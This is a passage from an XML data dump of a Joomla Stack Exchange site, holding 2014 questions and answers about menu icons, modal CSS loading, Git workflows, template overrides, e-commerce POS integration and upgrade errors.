&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[fa]{icon}[/fa]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;i class=&quot;{icon}&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save and close your macro. Now in your menu item, set the title to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[fa]fa fa-dashboard[/fa] Dashboard&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, you have to set the &lt;em&gt;Alias&lt;/em&gt; and &lt;em&gt;Browser Page Title&lt;/em&gt; fields (under &lt;em&gt;Page Display&lt;/em&gt;) to &quot;Dashboard&quot; (or whatever you want), or your browser title will be &lt;code&gt;[fa]fa fa-dashboard[/fa] Dashboard&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hl0OZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-11T00:43:17.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4737" PostTypeId="2" ParentId="4734" CreationDate="2014-10-11T02:08:04.903" Score="6" Body="&lt;p&gt;If your template supports it, you should have numeric class ids for each menu item. If you have that, or if you can add that to your template/menu, it's probably safer to just use CSS and style those menu items that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if your menu item is say class 155 it would likely appear in the li line as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;active item155&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So then, again, following your structure, you'd do something like this in your CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;li.item155 a i:before {font-family:FontAwesome;content: &quot;\f0ce&quot;;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where that \f0ce is the font awesome code for that icon you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have those menu id's you could fudge it with li:nth-child(x) where x is the menu item in order from first to last. So to style menu item number 3, you do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;li:nth-child(3) a i:before {font-family:FontAwesome;content: &quot;\f0ce&quot;;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you use that, I'm not sure how far back it works with browsers, but it means you don't have to override a thing.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-10-11T02:08:04.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4739" PostTypeId="1" AcceptedAnswerId="4740" CreationDate="2014-10-11T16:15:08.697" Score="2" ViewCount="532" Body="&lt;p&gt;I am using the Membership Pro plugin on a page, and there is a link to a terms and conditions page that comes from the plugin. I am opening this link in a bootstrap modal which is working great. The problem I am having is that Joomla is loading template.css when this modal pops up, which is causing all my styles on the main page to be messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to prevent Joomla from loading this file on certain pages?&lt;/p&gt;&#xA;" OwnerUserId="2016" LastActivityDate="2014-10-11T17:08:00.860" Title="How can I prevent Joomla from loading template.css when opening a page in a modal" Tags="|plugin|bootstrap|modal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4740" PostTypeId="2" ParentId="4739" CreationDate="2014-10-11T17:08:00.860" Score="4" Body="&lt;p&gt;Modals aree usually loaded using the URL parameter &lt;code&gt;template=component&lt;/code&gt;. That means that instead of the regular &lt;code&gt;templates/your_template/index.php&lt;/code&gt; Joomla will use &lt;code&gt;templates/your_template/component.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;code&gt;component.php&lt;/code&gt; file is supposed to only load the component output without any module positions. Joomla will also only load the CSS files defined there.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-10-11T17:08:00.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4741" PostTypeId="1" CreationDate="2014-10-12T09:46:12.300" Score="8" ViewCount="3354" Body="&lt;p&gt;I'm starting to use Git to manage Joomla site builds, and I'm looking for some best practice guidance. As it stands:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use WHM to provision a new account. I've written a post-install hook to automatically download Joomla from Github and place it in the relevant &lt;code&gt;public_html&lt;/code&gt; directory, as well as create the database and DB user&lt;/li&gt;&#xA;&lt;li&gt;Manually install Joomla via the web interface (though currently looking for a way to automate this as well)&lt;/li&gt;&#xA;&lt;li&gt;Setup a bare repo above &lt;code&gt;public_html&lt;/code&gt; - this is where users push and pull from. We'll call this &lt;code&gt;origin&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Setup a standard repo in &lt;code&gt;public_html&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add a Joomla-specific &lt;code&gt;.gitignore&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Specify the bare repo as our remote (&lt;code&gt;git remote add origin ../repo.git&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Perform &lt;code&gt;git add .&lt;/code&gt;, then &lt;code&gt;git commit -m&quot;Initial J! Commit&quot;&lt;/code&gt;, then &lt;code&gt;git push origin master&lt;/code&gt; to get the default install in our bare repo&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;code&gt;post-receive&lt;/code&gt; hook to the bare repo to automatically pull changes into the repo in &lt;code&gt;public_html&lt;/code&gt; (as the bare repo is where developers will push local changes to)&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;code&gt;post-update&lt;/code&gt; hook to the repo in &lt;code&gt;public_html&lt;/code&gt; in case anyone makes changes on the server... though they shouldn't&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm not too worried about databases at the moment. My main issue now is dealing with Joomla file additions / changes. Obviously as I install templates and extensions certain files are going to be added and removed. Similarly Joomla updates will cause changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to deal with these on-server changes? I was thinking of writing a small plugin that runs &lt;code&gt;onAfterRender&lt;/code&gt; or similar that uses PHPGit to perform &lt;code&gt;git add .&lt;/code&gt;, &lt;code&gt;git commit&lt;/code&gt; &lt;code&gt;git push origin master&lt;/code&gt;. Then, in my local copy, I can just do a pull and everything comes through. Or is there a better way? &lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="90" LastEditDate="2014-10-12T10:23:39.393" LastActivityDate="2014-10-13T12:54:00.043" Title="Managing sites with Git" Tags="|joomla-3.x|development|workflow|git|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4742" PostTypeId="1" AcceptedAnswerId="4743" CreationDate="2014-10-12T16:19:08.630" Score="1" ViewCount="1070" Body="&lt;p&gt;I wanted to change the way the standard print/email function in Joomla worked, where I wanted to change it from being a drop-down to stand alone icons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a template override I changed the code for this from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php if ($canEdit || $displayData['params']-&amp;gt;get('show_print_icon') || $displayData['params']-&amp;gt;get('show_email_icon')) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;btn-group pull-right&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;btn dropdown-toggle&quot; data-toggle=&quot;dropdown&quot; href=&quot;#&quot;&amp;gt; &amp;lt;span class=&quot;icon-cog&quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;caret&quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php // Note the actions class is deprecated. Use dropdown-menu instead. ?&amp;gt;&#xA;            &amp;lt;ul class=&quot;dropdown-menu&quot;&amp;gt;&#xA;                &amp;lt;?php if ($displayData['params']-&amp;gt;get('show_print_icon')) : ?&amp;gt;&#xA;                    &amp;lt;li class=&quot;print-icon&quot;&amp;gt; &amp;lt;?php echo JHtml::_('icon.print_popup', $displayData['item'], $displayData['params']); ?&amp;gt; &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;?php if ($displayData['params']-&amp;gt;get('show_email_icon')) : ?&amp;gt;&#xA;                    &amp;lt;li class=&quot;email-icon&quot;&amp;gt; &amp;lt;?php echo JHtml::_('icon.email', $displayData['item'], $displayData['params']); ?&amp;gt; &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;?php if ($canEdit) : ?&amp;gt;&#xA;                    &amp;lt;li class=&quot;edit-icon&quot;&amp;gt; &amp;lt;?php echo JHtml::_('icon.edit', $displayData['item'], $displayData['params']); ?&amp;gt; &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php if ($canEdit || $displayData['params']-&amp;gt;get('show_print_icon') || $displayData['params']-&amp;gt;get('show_email_icon')) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;pull-right&quot;&amp;gt;&#xA;                &amp;lt;?php if ($displayData['params']-&amp;gt;get('show_print_icon')) : ?&amp;gt;&#xA;                    &amp;lt;li class=&quot;print-icon&quot;&amp;gt; &amp;lt;?php echo JHtml::_('icon.print_popup', $displayData['item'], $displayData['params']); ?&amp;gt; &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;?php if ($displayData['params']-&amp;gt;get('show_email_icon')) : ?&amp;gt;&#xA;                    &amp;lt;li class=&quot;email-icon&quot;&amp;gt; &amp;lt;?php echo JHtml::_('icon.email', $displayData['item'], $displayData['params']); ?&amp;gt; &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;?php if ($canEdit) : ?&amp;gt;&#xA;                    &amp;lt;li class=&quot;edit-icon&quot;&amp;gt; &amp;lt;?php echo JHtml::_('icon.edit', $displayData['item'], $displayData['params']); ?&amp;gt; &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This takes the print and email icons out of the  tag and shows them as stand alone icons in a vertical list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can can I make the print/email icons displaying horizontally instead of vertically?&lt;/p&gt;&#xA;" OwnerUserId="2005" LastActivityDate="2014-10-13T11:36:18.673" Title="Joomla print/email function" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4743" PostTypeId="2" ParentId="4742" CreationDate="2014-10-12T16:25:41.193" Score="1" Body="&lt;p&gt;Firstly, you have remove the dropdown, but you are still using list items. So you need to change the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tags to &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, I would suggest adding a class to your parent element, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;pull-right actions&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then using CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.actions &amp;gt; div {&#xA;    display: inline-block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Either that or simply remove the &lt;code&gt;dropdown-menu&lt;/code&gt; class from your &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; element and make sure all &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; elements are floated to the left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-12T16:25:41.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4744" PostTypeId="2" ParentId="4741" CreationDate="2014-10-13T07:45:37.940" Score="4" Body="&lt;p&gt;I don't understand why you set up the bare / public structure; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only use the public_html as the root of the repo, with a very complete .gitignore (which needs to be updated after each new Joomla! update, with &lt;code&gt;git status&lt;/code&gt; you find the new files and add them so they don't get versioned).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Developers push to development branches; in the end when a release is approved it's rebased against the master, tested and pushed to production. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't use hooks but have a couple of scripts that dump the relevant database parts I wish to share, but leave it to the user to run the import scripts if they want; this way if someone is working on a new extension, they will keep their configuration until they're ready to share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use less / sass you might want to run the compile in the post-commit-hooks to ensure the compression flags are always on on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- update: .gitignore --&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot share my .gitignore here as it's subject to change with every Joomla! update. First of all, ensure your eclipse .project .settings etc and other files you wish to exclude are in a master .gitignore along with configuration.php and .htaccess.  My master .gitignore looks like this for a site with nasty components that write changes to their own folders instead of cache and tmp; plus it uses sass:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*/.sass-cache&#xA;/components/com_sobipro/var/cache/*&#xA;/components/com_djclassifieds/images/*&#xA;/components/com_sobipro/tmp/*&#xA;/components/com_sobipro/var/*&#xA;/log&#xA;/._db.sql&#xA;/logs&#xA;/stats&#xA;/components/com_sobipro/tmp/edit/*&#xA;/.buildpath&#xA;/.project&#xA;/.settings&#xA;/.htaccess&#xA;/images/icons/*&#xA;/images/photos/*&#xA;/images/sobipro/*&#xA;/images/classifieds/*&#xA;/administrator/cache/*&#xA;/tmp/*&#xA;/configuration.php&#xA;/index.php&#xA;/joomla.xml&#xA;*.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so I start off by copying it  ( from the web root):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cp /home/_core/.gitignore .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then explode the update pack (the full update package) and there run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;find | sed &quot;s/^\.//&quot;  &amp;gt;&amp;gt; /home/yoursitefolder/public_html/.gitignore&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WARNING&lt;/strong&gt; do not run the find on the live site, just on the update package!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do run a couple of tests and see with git status what will be added each time before you finalize the procedure and write bash scripts for it: this is what I'm using but it is not guaranteed that it will fit your requirements 100%&lt;/p&gt;&#xA;" OwnerUserId="377" LastEditorUserId="377" LastEditDate="2014-10-13T12:54:00.043" LastActivityDate="2014-10-13T12:54:00.043" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4745" PostTypeId="1" AcceptedAnswerId="4746" CreationDate="2014-10-13T08:00:59.923" Score="2" ViewCount="342" Body="&lt;p&gt;I would like to change how articles are viewed for the featured list view used for my homepage.&#xA;Normally articles display there title first above intro image and content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to change it so that the title is positioned right of the intro image like the content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot example, where I would like it from this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BHPmx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/URaEO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2005" LastEditorUserId="2005" LastEditDate="2014-10-13T22:56:30.127" LastActivityDate="2014-10-13T22:56:30.127" Title="Featured view Title position?" Tags="|joomla-3.x|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4746" PostTypeId="2" ParentId="4745" CreationDate="2014-10-13T08:20:39.180" Score="2" Body="&lt;p&gt;Use Joomla's &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;template override&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by using this method you can override all Joomla core template styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For com_content&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PATH_TO_JOOMLA/components/com_content/views/article/tmpl/default.php&#xA;to&#xA;TEMPLATE_NAME/html/com_content/article/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to change featured view only.then like below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TEMPLATE_NAME/html/com_content/featured/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps..&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2014-10-13T08:20:39.180" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4747" PostTypeId="1" CreationDate="2014-10-13T09:20:31.707" Score="-2" ViewCount="388" Body="&lt;p&gt;My client would like a CMS platform such as Joomla plus an e-commerce site like Hikahop plus they re also looking to integrate their ecommerce with their retail store POS. What would you recommend and how can we do this? Is Shopify the only option?  The client is looking at Vend as a POS solution?&lt;/p&gt;&#xA;" OwnerUserId="2020" LastActivityDate="2014-10-13T13:55:12.457" Title="Joomla CMS, Hika Shop Ecommerce and retail POS" Tags="|e-commerce|" AnswerCount="2" CommentCount="0" ClosedDate="2014-10-16T20:08:13.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="4749" PostTypeId="2" ParentId="4742" CreationDate="2014-10-13T11:36:18.673" Score="1" Body="&lt;p&gt;There's no reason these links shouldn't still be list items. It &lt;em&gt;is&lt;/em&gt; a list of links and has always been coded as such in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it would be preferable to use a simple utility class, changing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;dropdown-menu&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;inline&quot;&amp;gt; // Following BS2.3 syntax&#xA;&#xA;or:&#xA;&#xA;&amp;lt;ul class=&quot;list-inline&quot;&amp;gt; // BS3 syntax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This get's the correct result with less code, more precision and better semantics.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-10-13T11:36:18.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4750" PostTypeId="2" ParentId="4734" CreationDate="2014-10-13T11:41:05.940" Score="2" Body="&lt;p&gt;The correct way to achieve this is actually the easiest and requires no plugins or overrides, just add the icon class to the link in the menu item options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7sviM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-10-13T11:41:05.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4751" PostTypeId="2" ParentId="4747" CreationDate="2014-10-13T11:46:45.323" Score="2" Body="&lt;p&gt;Given you want integrated POS, Shopify is the only sensible option.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-10-13T11:46:45.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4752" PostTypeId="1" AcceptedAnswerId="4753" CreationDate="2014-10-09T05:08:59.440" Score="4" ViewCount="161" Body="&lt;p&gt;I have here Joomla Version: 2.5.24. Currently, Joomla released its newest version. Is it OK that I won't update my system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no, does it affect the following when updating?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Database&lt;/li&gt;&#xA;&lt;li&gt;Plugins/Extensions&lt;/li&gt;&#xA;&lt;li&gt;Created system?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or comments are much appreciated.&lt;/p&gt;&#xA;" OwnerDisplayName="GarfieldBesa" LastEditorUserId="9471" LastEditDate="2018-06-19T23:54:36.737" LastActivityDate="2018-06-19T23:54:36.737" Title="Joomla v2.5.24 is outdated, does it need to be updated?" Tags="|joomla-2.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4753" PostTypeId="2" ParentId="4752" CreationDate="2014-10-09T05:41:44.577" Score="5" Body="&lt;p&gt;Its upto you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The updates of any CMS or framework is always good. that doesn't mean your site is not secure or no longer works. The main purpose of software updates are security fixes and more features to the current system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you plan for the update it will effect DB,Plugins and extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you decide to update Joomla 2.5 to Joomla 3.x before that make sure your components/plugins/modules are compatible for Joomla 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure  you are not edited any core files of Joomla, bcoz core file edit may loss with update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If everything is ok then you can update your &lt;a href=&quot;http://docs.joomla.org/J3.2:Upgrading_from_an_existing_version&quot;&gt;current version to latest&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it make sense!&lt;/p&gt;&#xA;" OwnerUserId="138" OwnerDisplayName="Jobin Jose" LastActivityDate="2014-10-09T08:22:21.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4754" PostTypeId="1" CreationDate="2014-10-13T13:26:43.830" Score="1" ViewCount="85" Body="&lt;p&gt;for one of my sites I'm using the module &quot;Plus User Panel&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This modules displays a login and once logged in, a user panel or user menu.&#xA;It works in the sense, that it uses the 'Menu module' for my User Menu and it's menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the menu items for my user menu, it does also change the menu option for the user panel module obviously. And if I change the Title of the Menu Module linked to my User Menu, it is &quot;supposed&quot; to change the title of the Plus User Panel as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I am getting an issue which I can't understand why. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Plus User Panel will only display the Menu items from my User Menu IF it's Menu Module is named &quot;User Menu&quot;. If I change the name of the Menu module to anything else, the menu items get hidden and I only see the log out button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried to delete and re-install the module and re-create my User menu and all, but still the same, can't change the title of the module 'plus user panel' to anything else but User Menu, where I want it to changed to &quot;Brúkara Meny&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this module for two of my sites, and it works perfectly on my other website, without any troubles. But for some reason not this one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then tried to see if I could just go into the module's code and change it, but without luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the file that shows the user menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/q9sv6r13wwf9nd7/default.php?dl=0&quot; rel=&quot;nofollow&quot;&gt;default.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The html output is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;plusl-content&quot;&amp;gt;&#xA;   &amp;lt;div id=&quot;plusl-content-profile&quot; class=&quot;plusl-content-block&quot; style=&quot;right: 69.9166px; top: 695.167px; display: block;&quot;&amp;gt;&#xA;      &amp;lt;div id=&quot;module-in-profile&quot;&amp;gt;&#xA;         &amp;lt;div class=&quot;moduletable&quot;&amp;gt;&#xA;             &amp;lt;h3&amp;gt;User Menu&amp;lt;/h3&amp;gt; // This is the title of the Menu Module //&#xA;         &amp;lt;ul class=&quot;menu&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here the &lt;code&gt;&amp;lt;div id=&quot;module-in-profile&quot;&amp;gt;&lt;/code&gt; is the id of the id for user panel list.&lt;/p&gt;&#xA;" OwnerUserId="2005" LastEditorUserId="2005" LastEditDate="2014-10-13T13:43:02.613" LastActivityDate="2014-10-13T15:56:10.990" Title="User Module issue" Tags="|joomla-3.x|module|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4755" PostTypeId="2" ParentId="4747" CreationDate="2014-10-13T13:55:12.457" Score="4" Body="&lt;p&gt;Shopify is definitely a leading choice for this type of integration. If the client prefers HikaShop, however, integration with POS systems can certainly be done. We have a client with a fabric store that synchronizes thousands of products daily between the brick and mortar POS and the HikaShop online store. But you are looking at significant custom development up front to make that happen. &lt;/p&gt;&#xA;" OwnerUserId="181" LastActivityDate="2014-10-13T13:55:12.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4756" PostTypeId="1" AcceptedAnswerId="4766" CreationDate="2014-10-13T14:01:55.697" Score="9" ViewCount="20436" Body="&lt;p&gt;I get a 500 error with &lt;code&gt;JHtmlBehavior::mootools not found&lt;/code&gt;. I know this has been removed in J3 but my problem is trying to find out where this issue is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect it is some sort of extension but I think I've updated them all. Obviously not. I see nothing in my php logs or developer tools console to indicate where the problem may be. I even grep for JHtmlBehavior and come up with nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips on how I can debug this?&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="83" LastEditDate="2014-10-13T21:07:37.190" LastActivityDate="2016-08-24T11:40:32.717" Title="Upgrade to J3 gives JHtmlBehavior::mootools not found" Tags="|joomla-3.x|upgrade|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4757" PostTypeId="2" ParentId="4756" CreationDate="2014-10-13T14:38:40.260" Score="3" Body="&lt;p&gt;Although MooTools is deprecated in Joomla 3, it's &lt;a href=&quot;http://docs.joomla.org/J3.x:Javascript_Frameworks#Mootools_JavaScript_Framework&quot; rel=&quot;nofollow&quot;&gt;still available&lt;/a&gt; (but might be removed in future versions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can load the framework by adding&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(or if you need both Core and More libraries):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.framework', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your template's &lt;code&gt;index.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will at least be a temporary fix, until you find the file/extension using Mootools code. Finding the culprit might be hard, but I suggest you start with your browsers Developer Tools (&lt;kbd&gt;F12&lt;/kbd&gt; in most browsers) and look for JavaScript errors, it might give you a hint.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-13T14:38:40.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4758" PostTypeId="2" ParentId="4754" CreationDate="2014-10-13T15:56:10.990" Score="1" Body="&lt;p&gt;According to your answer, module &quot;Plus User Panel&quot; shows &quot;User Menu&quot;, and it has not parameter to select a different menu module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, check with the module developer to change or extend the module to add a parameter to select the required menu.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-10-13T15:56:10.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
